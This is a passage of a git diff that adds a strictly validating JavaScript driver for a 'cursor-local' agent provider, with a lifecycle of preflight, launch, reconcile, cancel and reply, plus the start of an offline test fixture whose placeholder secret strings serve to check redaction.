assertNotProxy(request, path); + assertDirectJsonClosure(request, path); + assertPlainObject(request, 'invalid_type', path, path); + for (const key of Object.keys(request)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('unknown_key', `${path}.${key}`, + `${path} carries a key outside the closed schema.`); + } + } + for (const key of allowedKeys) { + if (!hasOwn(request, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required; nothing is derived.`); + } + } + if (optOwn(request, 'schema') !== schemaId) { + fail('schema_mismatch', `${path}.schema`, `${path}.schema must be exactly "${schemaId}".`); + } + if (optOwn(request, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + return request; +} + +function resolveControlLane(request, lanes, options, path) { + const parsed = parseChildEnvelopeV1(optOwn(request, 'envelope_text')); + const digest = requireExactString(request, 'child_envelope_digest', path, /^[0-9a-f]{64}$/u); + const key = `${parsed.run_id}\u0000${parsed.assignment_id}`; + const lane = lanes.get(key); + if (lane === undefined || !digestsEqual(lane.childEnvelopeDigest, digest)) { + fail('unknown_lane', `${path}.child_envelope_digest`, + 'No live lane is bound to this exact child envelope digest.'); + } + if (parsed.repository.base_sha !== options.runBaseSha + || parsed.execution.provider !== CURSOR_LOCAL_PROVIDER + || parsed.execution.model !== options.model) { + fail('stale_identity_denied', `${path}.envelope_text`, + 'The request envelope does not match the exact bound lane identity.'); + } + return lane; +} + +function assertProvenanceBound(view, options, path) { + const execution = view.envelope.execution; + if (execution.provider !== CURSOR_LOCAL_PROVIDER) { + fail('provider_slot_mismatch', `${path}.envelope_text`, + `The cursor-local driver binds only exact "${CURSOR_LOCAL_PROVIDER}" envelopes; ` + + 'unresolved or foreign provider slots are refused.'); + } + if (typeof execution.model !== 'string' || execution.model.length === 0) { + fail('model_unresolved', `${path}.envelope_text`, + 'The envelope carries no exact model; omitted models are never derived.'); + } + if (execution.model !== options.model) { + fail('model_substitution_denied', `${path}.envelope_text`, + 'The envelope model does not equal the exact bound model; substitution is denied.'); + } + if (view.envelope.repository.base_sha !== options.runBaseSha) { + fail('base_sha_substitution_denied', `${path}.envelope_text`, + 'The envelope base sha does not equal the exact run base sha; retargeting is denied.'); + } +} + +function requireFeature(declaration, feature, path) { + if (declaration.features[feature] === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback.`); + } +} + +const DETAIL_MESSAGES = freezeData({ + dispatch_not_written: freezeData({ + detail_code: 'dispatch_not_written', + detail_message: 'The transport guaranteed that no prompt bytes were written; ' + + 'nothing reached the provider.', + }), + spawn_unavailable: freezeData({ + detail_code: 'spawn_unavailable', + detail_message: 'The cursor-local session could not be spawned; no prompt was dispatched.', + }), + transport_unavailable: freezeData({ + detail_code: 'transport_unavailable', + detail_message: 'The cursor-local transport reported no availability for this host.', + }), +}); + +const DETAIL_FOR = freezeData({ + launch_not_sent_spawn: DETAIL_MESSAGES.spawn_unavailable, + launch_not_sent_prewrite: DETAIL_MESSAGES.dispatch_not_written, + preflight_blocked: DETAIL_MESSAGES.transport_unavailable, +}); + +export function createCursorLocalDriverV1(options) { + const path = 'cursor_local_driver.options'; + if (options === null || options === undefined) { + fail('invalid_type', path, 'Driver options are required; nothing is defaulted.'); + } + + // Single content-free structural quarantine over the options. The JSON + // leaves are closed directly; the transport is validated separately as a + // plain concrete-method object so its functions never enter the JSON + // closure. Neither pass ever invokes caller code. + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + for (const key of Object.keys(options)) { + if (!capturedIncludes(CURSOR_LOCAL_OPTION_KEYS, key)) { + fail('unknown_key', `${path}.${key}`, `${path} carries a key outside the closed option set.`); + } + } + for (const key of ['declaration', 'model', 'run_base_sha', 'transport']) { + if (!hasOwn(options, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + for (const key of ['declaration', 'model', 'run_base_sha', 'workspace_root']) { + if (hasOwn(options, key)) assertDirectJsonClosure(ownDataValue(options, key, `${path}.${key}`), `${path}.${key}`); + } + + const declaration = validateDriverDeclarationV1(optOwn(options, 'declaration')); + if (declaration.capability.provider !== CURSOR_LOCAL_PROVIDER) { + fail('provider_mismatch', `${path}.declaration.capability.provider`, + `The cursor-local driver requires the exact "${CURSOR_LOCAL_PROVIDER}" capability slot.`); + } + if (declaration.capability.workspace_semantics !== 'local_managed_worktree' + || declaration.capability.workspace_starting_point !== 'run_base_sha') { + fail('capability_workspace_mismatch', `${path}.declaration.capability`, + 'Only managed local worktrees started from the run base sha are in scope.'); + } + if (declaration.capability.replay_posture !== 'never_replay') { + fail('invalid_replay_posture', `${path}.declaration.capability.replay_posture`, + 'The cursor-local driver never replays a dispatched prompt.'); + } + if (!capturedIncludes(['confirmed_launch', 'uncertain_after_spawn'], + declaration.capability.dispatch_certainty)) { + fail('capability_dispatch_certainty_mismatch', + `${path}.declaration.capability.dispatch_certainty`, + 'Dispatch certainty must name a closed P05 posture.'); + } + if (!capturedIncludes(['live_session_reply', 'unsupported_unresolved_attention'], + declaration.capability.same_session_reply)) { + fail('capability_reply_mismatch', `${path}.declaration.capability.same_session_reply`, + 'Same-session reply must name a closed P05 posture.'); + } + + const model = requireExactString(options, 'model', path, MODEL_ID_PATTERN, 'invalid_model'); + const runBaseSha = requireExactString(options, 'run_base_sha', path, SHA40_PATTERN, + 'invalid_run_base_sha'); + const workspaceRoot = hasOwn(options, 'workspace_root') + ? requireExactString(options, 'workspace_root', path, WORKSPACE_ROOT_PATTERN, + 'invalid_workspace_root') + : undefined; + + const transportPath = `${path}.transport`; + const transportInput = optOwn(options, 'transport'); + if (transportInput !== null && (typeof transportInput === 'object' + || typeof transportInput === 'function') && IS_PROXY(transportInput)) { + fail('proxy_denied', transportPath, + 'The transport is a live or revoked Proxy; concrete method objects only.'); + } + if (transportInput === null || typeof transportInput !== 'object' + || capturedIsArray(transportInput)) { + fail('invalid_type', transportPath, 'The transport must be a plain object of methods.'); + } + let transportPrototype; + try { + transportPrototype = Object.getPrototypeOf(transportInput); + } catch { + fail('exotic_prototype_denied', transportPath, 'The transport prototype rejected inspection.'); + } + if (transportPrototype !== Object.prototype && transportPrototype !== null) { + fail('exotic_prototype_denied', transportPath, + 'The transport must use the standard or null prototype.'); + } + const transportKeys = Object.keys(transportInput).sort(); + const expectedKeys = [...CURSOR_LOCAL_TRANSPORT_METHODS].sort(); + if (transportKeys.length !== expectedKeys.length + || transportKeys.some((key, index) => key !== expectedKeys[index])) { + fail('invalid_surface', transportPath, + `The transport must expose exactly ${capturedJoin(CURSOR_LOCAL_TRANSPORT_METHODS, ', ')}.`); + } + const transportMethods = {}; + for (const method of CURSOR_LOCAL_TRANSPORT_METHODS) { + const descriptor = Object.getOwnPropertyDescriptor(transportInput, method); + if (!descriptor || !descriptor.enumerable || descriptor.get !== undefined + || descriptor.set !== undefined || typeof descriptor.value !== 'function' + || IS_PROXY(descriptor.value)) { + fail('invalid_operation', `${transportPath}.${method}`, + `Transport ${method} must be a plain concrete function.`); + } + transportMethods[method] = descriptor.value; + } + + // Detached, fully validated configuration. No live caller object is kept: + // nothing can mutate a validated value back into an unvalidated one. + const config = freezeData({ model, runBaseSha, workspaceRoot }); + + const lanes = new Map(); + + function laneFromView(view) { + const key = laneKeyFor(view); + const digestHex = view.child_envelope_digest; + const existing = lanes.get(key); + if (existing !== undefined && !digestsEqual(existing.childEnvelopeDigest, digestHex)) { + fail('stale_identity_denied', 'driver.request.child_envelope_digest', + 'The request envelope digest does not match the exact child previously bound to this lane.'); + } + if (existing !== undefined) return existing; + const lane = { + assignmentId: view.envelope.assignment_id, + bindingDigest: buildLaneBindingDigest(view, model), + childEnvelopeDigest: digestHex, + evidence: null, + laneIndex: view.envelope.lane_index, + phase: { + acked: false, + replyAttempts: 0, + replyOutcome: undefined, + sendAttempted: false, + sendUncertain: false, + spawned: false, + sessionId: undefined, + }, + question: undefined, + repositoryPath: view.envelope.repository.path, + runId: view.envelope.run_id, + state: 'absent', + terminalReason: undefined, + window: createRedactionWindow(), + }; + lanes.set(key, lane); + return lane; + } + + function ensureEvidenceSink(lane) { + if (lane.evidence === null) lane.evidence = createEvidenceSink(); + return lane.evidence; + } + + function ingestVisibleText(lane, sink, text, kind) { + let pending = typeof text === 'string' ? text : ''; + while (pending.length > 0) { + let head = pending.slice(0, REDACTION_SLICE_CHARS); + // Never split a UTF-16 surrogate pair at the slice boundary: the + // redaction window must see whole characters or its emitted bytes + // could disagree with the bounded byte accounting. + if (head.length === REDACTION_SLICE_CHARS) { + const last = head.charCodeAt(head.length - 1); + if (last >= 0xd800 && last <= 0xdbff) head = head.slice(0, -1); + } + pending = pending.slice(head.length); + const emitted = lane.window.push(head); + if (emitted.length > 0) sink.ingest(emitted, kind); + } + } + + function flushLaneWindow(lane) { + if (lane.evidence === null && lane.windowFlushed) return; + lane.windowFlushed = true; + const emitted = lane.window.flush(); + if (emitted.length > 0) { + const sink = ensureEvidenceSink(lane); + sink.ingest(emitted, 'event'); + } + } + + function receiptFor(operation, view, disposition, detail) { + const receipt = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: view.envelope.run_id, + assignment_id: view.envelope.assignment_id, + lane_index: view.envelope.lane_index, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: view.child_envelope_digest, + disposition, + }; + if (detail !== undefined) { + receipt.detail_code = detail.detail_code; + receipt.detail_message = detail.detail_message; + } + return receipt; + } + + const driver = {}; + + capturedDefineProperty(driver, 'preflight', { + configurable: false, + enumerable: true, + value: function preflight(request) { + const view = validateDriverPreflightRequestV1(request); + assertProvenanceBound(view, config, 'driver.preflight.request'); + const lane = laneFromView(view); + if (!(lane.state === 'absent' || lane.state === 'ready' || lane.state === 'blocked' + || lane.state === 'not_sent')) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a prompt may have been dispatched.'); + } + if (lane.state === 'ready' || lane.state === 'blocked') { + return validateDriverPreflightResultV1( + receiptFor('preflight', view, lane.state, + lane.state === 'blocked' ? DETAIL_FOR.preflight_blocked : undefined), + request, declaration, + ); + } + const probe = freezeData({ binding_digest: lane.bindingDigest }); + const outcome = callTransport(transportMethods, 'availability', probe); + if (!outcome.ok) { + lane.state = 'blocked'; + return validateDriverPreflightResultV1( + receiptFor('preflight', view, 'blocked', DETAIL_FOR.preflight_blocked), + request, declaration, + ); + } + const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result'); + const available = optOwn(availability, 'available'); + if (available !== true && available !== false) { + fail('invalid_transport_result', 'driver.preflight.availability.result.available', + 'Transport availability must be exactly true or false.'); + } + lane.state = available ? 'ready' : 'blocked'; + return validateDriverPreflightResultV1( + receiptFor('preflight', view, lane.state, + available ? undefined : DETAIL_FOR.preflight_blocked), + request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'launch', { + configurable: false, + enumerable: true, + value: function launch(request) { + const view = validateDriverLaunchRequestV1(request); + assertProvenanceBound(view, config, 'driver.launch.request'); + const lane = laneFromView(view); + if (lane.state === 'absent') { + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (lane.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (lane.phase.spawned || lane.phase.sendAttempted) { + fail('replay_denied', 'driver.launch.request', + 'This lane already spawned or dispatched; prompts are never replayed.'); + } + const spawnRequest = freezeData({ + assignment_id: lane.assignmentId, + base_sha: config.runBaseSha, + binding_digest: lane.bindingDigest, + lane_index: lane.laneIndex, + model: config.model, + repository_path: lane.repositoryPath, + run_id: lane.runId, + ...(config.workspaceRoot !== undefined ? { workspace_root: config.workspaceRoot } : {}), + }); + const spawnOutcome = callTransport(transportMethods, 'spawn', spawnRequest); + if (!spawnOutcome.ok) { + lane.state = 'not_sent'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_spawn), + request, declaration, + ); + } + const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result'); + const sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', + SESSION_ID_PATTERN, 'invalid_transport_result'); + requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + lane.phase.spawned = true; + lane.phase.sessionId = sessionId; + lane.state = 'spawned'; + + // Exactly one dispatch attempt per lane, forever. + lane.phase.sendAttempted = true; + const sendRequest = freezeData({ + binding_digest: lane.bindingDigest, + prompt_utf8_bytes: capturedUtf8ByteLength(view.request.envelope_text), + prompt_text: view.request.envelope_text, + session_id: sessionId, + }); + const sendOutcome = callTransport(transportMethods, 'send', sendRequest); + if (!sendOutcome.ok) { + if (safeErrorCode(sendOutcome.error) === TRANSPORT_PRE_WRITE_FAILURE_CODE) { + lane.state = 'not_sent'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), + request, declaration, + ); + } + lane.phase.sendUncertain = true; + lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } + const sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result'); + requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); + requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); + if (optOwn(sent, 'acknowledged') !== true) { + fail('acknowledgement_required', 'driver.launch.send.result.acknowledged', + 'The transport must authoritatively acknowledge the prompt before dispatched.'); + } + lane.phase.acked = true; + lane.state = 'dispatched'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatched'), request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'reconcile', { + configurable: false, + enumerable: true, + value: function reconcile(request) { + const view = validateDriverReconcileRequestV1(request); + assertProvenanceBound(view, config, 'driver.reconcile.request'); + const lane = laneFromView(view); + if (!lane.phase.sendAttempted) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing dispatch; no prompt was ever attempted.'); + } + if (view.intent === 'restart_reattach') { + requireFeature(declaration, 'restart', 'driver.reconcile.request.intent'); + } + for (let index = 0; index < view.include.length; index += 1) { + requireFeature(declaration, view.include[index], + `driver.reconcile.request.include[${index}]`); + } + if (lane.state === 'terminal') { + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'terminal'), request, declaration, + ); + } + const observeRequest = freezeData({ + binding_digest: lane.bindingDigest, + include: freezeData([...view.include]), + intent: view.intent, + session_id: lane.phase.sessionId, + }); + const observeOutcome = callTransport(transportMethods, 'observe', observeRequest); + if (!observeOutcome.ok) { + fail('observe_failed', 'driver.reconcile.observe', + 'The transport observation failed; the lane keeps its exact identity and state.'); + } + const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result'); + requireBindingEcho(observed, lane.bindingDigest, 'driver.reconcile.observe.result'); + requireSessionEcho(observed, lane.phase.sessionId, 'driver.reconcile.observe.result'); + const status = requireExactString(observed, 'status', 'driver.reconcile.observe.result', + /^[a-z_]{1,24}$/u, 'invalid_transport_result'); + if (!capturedIncludes(OBSERVE_STATUSES, status)) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.status', + 'Observation status is outside the closed vocabulary.'); + } + + const wantsEvidence = capturedIncludes(view.include, 'detailed_events') + || capturedIncludes(view.include, 'live_progress'); + const sink = wantsEvidence ? ensureEvidenceSink(lane) : undefined; + const progressText = optOwn(observed, 'progress_text'); + if (progressText !== undefined) { + if (typeof progressText !== 'string' || progressText.length === 0) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.progress_text', + 'Progress text must be a non-empty string when present.'); + } + if (!wantsEvidence) { + fail('evidence_include_required', 'driver.reconcile.observe.result.progress_text', + 'Progress text arrives only when live_progress or detailed_events is included.'); + } + ingestVisibleText(lane, sink, progressText, 'progress'); + } + const events = optOwn(observed, 'events'); + if (events !== undefined) { + if (!capturedIsArray(events)) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.events', + 'Events must arrive as a dense array of strings.'); + } + const eventCount = events.length; + if (!wantsEvidence && eventCount > 0) { + fail('evidence_include_required', 'driver.reconcile.observe.result.events', + 'Event text arrives only when detailed_events or live_progress is included.'); + } + for (let index = 0; index < eventCount; index += 1) { + const chunk = optOwn(events, STRING(index)); + if (typeof chunk !== 'string' || chunk.length === 0) { + fail('invalid_transport_result', + `driver.reconcile.observe.result.events[${index}]`, + 'Every event chunk must be a non-empty string.'); + } + if (sink !== undefined) ingestVisibleText(lane, sink, chunk, 'event'); + } + } + const question = optOwn(observed, 'question'); + if (status === 'attention') { + if (question === undefined) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.question', + 'An attention observation must carry exactly one question.'); + } + assertAttentionQuestionShape(question, 'driver.reconcile.observe.result.question'); + if (wantsEvidence) { + ingestVisibleText(lane, sink, optOwn(question, 'question_text'), 'attention'); + } + lane.question = freezeData({ question_id: optOwn(question, 'question_id') }); + lane.state = 'unresolved_attention'; + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'unresolved_attention'), request, declaration, + ); + } + if (question !== undefined) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.question', + 'A non-attention observation must not carry a question.'); + } + if (status === 'completed' || status === 'failed') { + lane.state = 'terminal'; + lane.terminalReason = status; + flushLaneWindow(lane); + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'terminal'), request, declaration, + ); + } + lane.state = 'in_progress'; + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'in_progress'), request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'cancel', { + configurable: false, + enumerable: true, + value: function cancel(request) { + const view = validateDriverCancelRequestV1(request); + assertProvenanceBound(view, config, 'driver.cancel.request'); + const lane = laneFromView(view); + requireFeature(declaration, 'cancellation', 'driver.cancel.request'); + if (!lane.phase.sendAttempted) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing dispatch; no prompt was ever attempted.'); + } + if (lane.state === 'terminal') { + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'already_terminal'), request, declaration, + ); + } + const cancelRequest = freezeData({ + binding_digest: lane.bindingDigest, + session_id: lane.phase.sessionId, + }); + const cancelOutcome = callTransport(transportMethods, 'cancel', cancelRequest); + if (!cancelOutcome.ok) { + fail('cancel_failed', 'driver.cancel', + 'The cancellation request failed; the lane keeps its exact identity and state.'); + } + const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result'); + requireBindingEcho(cancelled, lane.bindingDigest, 'driver.cancel.result'); + requireSessionEcho(cancelled, lane.phase.sessionId, 'driver.cancel.result'); + const outcome = requireExactString(cancelled, 'outcome', 'driver.cancel.result', + /^[a-z_]{1,24}$/u, 'invalid_transport_result'); + if (!capturedIncludes(CANCEL_OUTCOMES, outcome)) { + fail('invalid_transport_result', 'driver.cancel.result.outcome', + 'Cancellation outcome is outside the closed vocabulary.'); + } + if (outcome === 'confirmed') { + lane.state = 'terminal'; + lane.terminalReason = 'cancelled'; + flushLaneWindow(lane); + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'cancel_confirmed'), request, declaration, + ); + } + lane.state = 'cancel_requested'; + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'cancel_requested'), request, declaration, + ); + }, + }); + + function submitAttentionReply(request) { + const replyPath = 'cursor_local.reply.request'; + quarantineControlRequest(request, CURSOR_LOCAL_REPLY_REQUEST_KEYS, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, replyPath); + // An unsupported reply posture refuses explicitly, before any lane or + // transport is consulted, and never starts a new prompt instead. + if (declaration.capability.same_session_reply !== 'live_session_reply') { + fail('reply_unsupported', `${replyPath}.schema`, + 'Same-session reply is unsupported for this posture; the refusal is explicit.'); + } + const answerText = requireExactString(request, 'answer_text', replyPath, /^[\s\S]+$/u, + 'invalid_answer'); + if (capturedUtf8ByteLength(answerText) > MAX_ANSWER_BYTES) { + fail('answer_too_large', `${replyPath}.answer_text`, + `answer_text exceeds the ${MAX_ANSWER_BYTES}-byte bound.`); + } + const sessionId = requireExactString(request, 'session_id', replyPath, SESSION_ID_PATTERN, + 'invalid_format'); + const questionId = requireExactString(request, 'question_id', replyPath, QUESTION_ID_PATTERN, + 'invalid_format'); + const lane = resolveControlLane(request, lanes, config, replyPath); + if (lane.phase.replyAttempts > 0) { + fail('reply_already_attempted', `${replyPath}.question_id`, + 'This question was already answered once; replies are attempt-once.'); + } + if (lane.state !== 'unresolved_attention' || lane.question === undefined) { + fail('no_attention_question', `${replyPath}.question_id`, + 'No attention question is outstanding on this exact lane.'); + } + if (lane.question.question_id !== questionId) { + fail('question_mismatch', `${replyPath}.question_id`, + 'The reply question does not equal the exact outstanding question.'); + } + if (lane.phase.sessionId !== sessionId) { + fail('uncorrelated_session', `${replyPath}.session_id`, + 'The reply session does not match the exact spawned session.'); + } + // Consume the one-shot budget before touching the transport so a + // throwing or lying transport can never earn a second attempt. + lane.phase.replyAttempts += 1; + const replyRequest = freezeData({ + answer_text: answerText, + binding_digest: lane.bindingDigest, + question_id: questionId, + session_id: sessionId, + }); + const replyOutcome = callTransport(transportMethods, 'reply', replyRequest); + if (!replyOutcome.ok) { + lane.phase.replyOutcome = 'failed'; + fail('reply_transport_failed', 'cursor_local.reply', + 'The same-session reply failed once and will never be retried.'); + } + const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result'); + requireBindingEcho(replied, lane.bindingDigest, 'cursor_local.reply.result'); + requireSessionEcho(replied, sessionId, 'cursor_local.reply.result'); + if (optOwn(replied, 'answered') !== true) { + lane.phase.replyOutcome = 'failed'; + fail('reply_transport_failed', 'cursor_local.reply.result.answered', + 'The transport did not authoritatively confirm the reply.'); + } + lane.phase.replyOutcome = 'answered'; + lane.question = undefined; + lane.state = 'in_progress'; + return freezeData({ + schema: CURSOR_LOCAL_REPLY_RESULT_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + run_id: lane.runId, + assignment_id: lane.assignmentId, + lane_index: lane.laneIndex, + base_sha: config.runBaseSha, + child_envelope_digest: lane.childEnvelopeDigest, + session_id: sessionId, + question_id: questionId, + answered: true, + }); + } + + function readEvidence(request) { + const evidencePath = 'cursor_local.evidence.request'; + quarantineControlRequest(request, CURSOR_LOCAL_EVIDENCE_REQUEST_KEYS, + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, evidencePath); + const lane = resolveControlLane(request, lanes, config, evidencePath); + if (lane.evidence === null) { + return freezeData({ + schema: CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + events: freezeData([]), + total_bytes: 0, + truncated: false, + }); + } + const drained = lane.evidence.drain(); + return freezeData({ + schema: CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + events: drained.events, + total_bytes: drained.total_bytes, + truncated: drained.truncated, + }); + } + + return freezeData({ + schema: CURSOR_LOCAL_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + provider: CURSOR_LOCAL_PROVIDER, + declaration, + driver: OBJECT_FREEZE(driver), + controls: freezeData({ + readEvidence: capturedFreeze(readEvidence), + submitAttentionReply: capturedFreeze(submitAttentionReply), + }), + }); +} + +capturedFreeze(createCursorLocalDriverV1); +capturedFreeze(describeCursorLocalDriverV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs new file mode 100644 index 0000000..d3c6519 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs @@ -0,0 +1,335 @@ +// Scripted local Cursor transport fixtures for the P19 cursor-local driver +// tests. Neutral construction only: the fixtures record every transport +// call and script closed outcomes; the tests own every assertion. +// +// The fixture never touches a real Cursor CLI, network, or repository. It +// exists so the driver's lifecycle, identity binding, redaction bounds, +// and content-free error surfaces can be exercised offline. + +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { p17Record } from './r1-resolver-fixtures.mjs'; + +export const DRIVER_DECLARATION_SCHEMA_ID = 'codex-co-engineer.driver-declaration.v1'; +export const CURSOR_LOCAL_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c2'; +export const CURSOR_LOCAL_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-driver-contract/local-worktree'; +export const CURSOR_LOCAL_FIXTURE_RUN_ID = 'cursor-local-driver-spec'; +export const CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID = 'local-lane'; +export const CURSOR_LOCAL_FIXTURE_MODEL = 'composer-1'; +export const FIXTURE_SESSION_PREFIX = 'sess-local-'; +export const FIXTURE_QUESTION_ID = 'q-attn-1'; +export const FIXTURE_QUESTION_TEXT = 'Approve writing the integration spec?'; + +// A secret-shaped payload used to prove redaction; never a real value. +export const SECRET_BEARER_TOKEN = 'Bearer sk-live-abcdef0123456789'; +export const SECRET_API_KEY_PAIR = 'api_key = "super-secret-value-1234567890"'; +export const SECRET_AWS_KEY = 'AKIAIOSFODNN7EXAMPLE'; +export const SECRET_SPLIT_HEAD = 'Bearer sk-li'; +export const SECRET_SPLIT_TAIL = 've-9988776655443322'; + +export function buildCursorLocalFixtureV1(overrides = {}) { + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: overrides.run_id ?? CURSOR_LOCAL_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: overrides.repository_path ?? CURSOR_LOCAL_FIXTURE_REPOSITORY_PATH, + base_sha: overrides.base_sha ?? CURSOR_LOCAL_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the cursor-local driver end to end offline.', + assignments: Object.freeze([Object.freeze({ + assignment_id: overrides.assignment_id ?? CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the lane exactly as instructed by the envelope.', + execution: Object.freeze({ + provider: overrides.provider ?? 'cursor-local', + model: overrides.model ?? CURSOR_LOCAL_FIXTURE_MODEL, + }), + write_scope: Object.freeze(['docs/**']), + acceptance: Object.freeze([Object.freeze({ + command_id: 'unit-tests', timeout_ms: 600_000, + })]), + expected_duration_ms: 1_200_000, + required_evidence: Object.freeze(['provider_report']), + })]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const assignmentId = overrides.assignment_id ?? CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID; + const envelope = compileChildEnvelopeV1(manifest, assignmentId); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + provider: envelope.execution.provider, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function cursorLocalDeclaration(capabilityOverrides = {}, featureOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record('cursor-local', capabilityOverrides), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...featureOverrides, + }, + }; +} + +function cloneRequest(request) { + // Requests are validated direct JSON by the time they reach the + // transport; a shallow structured copy is enough for call records. + if (request === null || typeof request !== 'object') return request; + const clone = {}; + for (const key of Object.keys(request)) { + const value = request[key]; + clone[key] = (value !== null && typeof value === 'object') + ? JSON.parse(JSON.stringify(value)) + : value; + } + return clone; +} + +class TransportFailure extends Error { + constructor(code, message) { + super(message); + this.name = 'TransportFailure'; + this.code = code; + } +} + +// Build a scripted transport plus its call record. `scenario` selects the +// closed outcome sequence; `overrides` replaces individual methods for +// targeted hostile cases. +export function createCursorLocalTransportStub(scenario = 'happy', overrides = {}) { + const state = { + acks: 0, + availabilityCalls: 0, + bindingEchoCorrupt: overrides.binding_echo_corrupt === true, + cancelCalls: 0, + cancels: [], + completedAfter: overrides.completed_after ?? (scenario === 'attention' ? 3 : 2), + observes: 0, + observeResults: [], + questionAnswered: false, + replies: 0, + replyRecords: [], + sends: 0, + sendRecords: [], + sessionCounter: 0, + spawnCalls: 0, + spawnRecords: [], + }; + const calls = []; + const record = (method, request) => calls.push({ method, request: cloneRequest(request) }); + const sessionIdFor = () => `${FIXTURE_SESSION_PREFIX}${state.spawnCalls}`; + const binding = (request, fallback) => (state.bindingEchoCorrupt + ? 'sha256:' + 'f'.repeat(64) + : (request?.binding_digest ?? fallback)); + + const methods = { + availability() { + state.availabilityCalls += 1; + record('availability', {}); + if (scenario === 'unavailable') return { available: false }; + if (scenario === 'availability_failure') { + throw new TransportFailure(undefined, 'availability probe exploded'); + } + return { available: true }; + }, + spawn(request) { + state.spawnCalls += 1; + state.sessionCounter = state.spawnCalls; + record('spawn', request); + state.spawnRecords.push(cloneRequest(request)); + if (scenario === 'spawn_failure') throw new Error(`spawn pipe broke: ${SECRET_BEARER_TOKEN}`); + return { + binding_digest: binding(request), + session_id: sessionIdFor(), + }; + }, + send(request) { + state.sends += 1; + record('send', request); + state.sendRecords.push(cloneRequest(request)); + if (scenario === 'pre_write_failure') { + throw new TransportFailure('pre_write_failure', 'nothing was written'); + } + if (scenario === 'ambiguous_send') throw new Error('connection reset 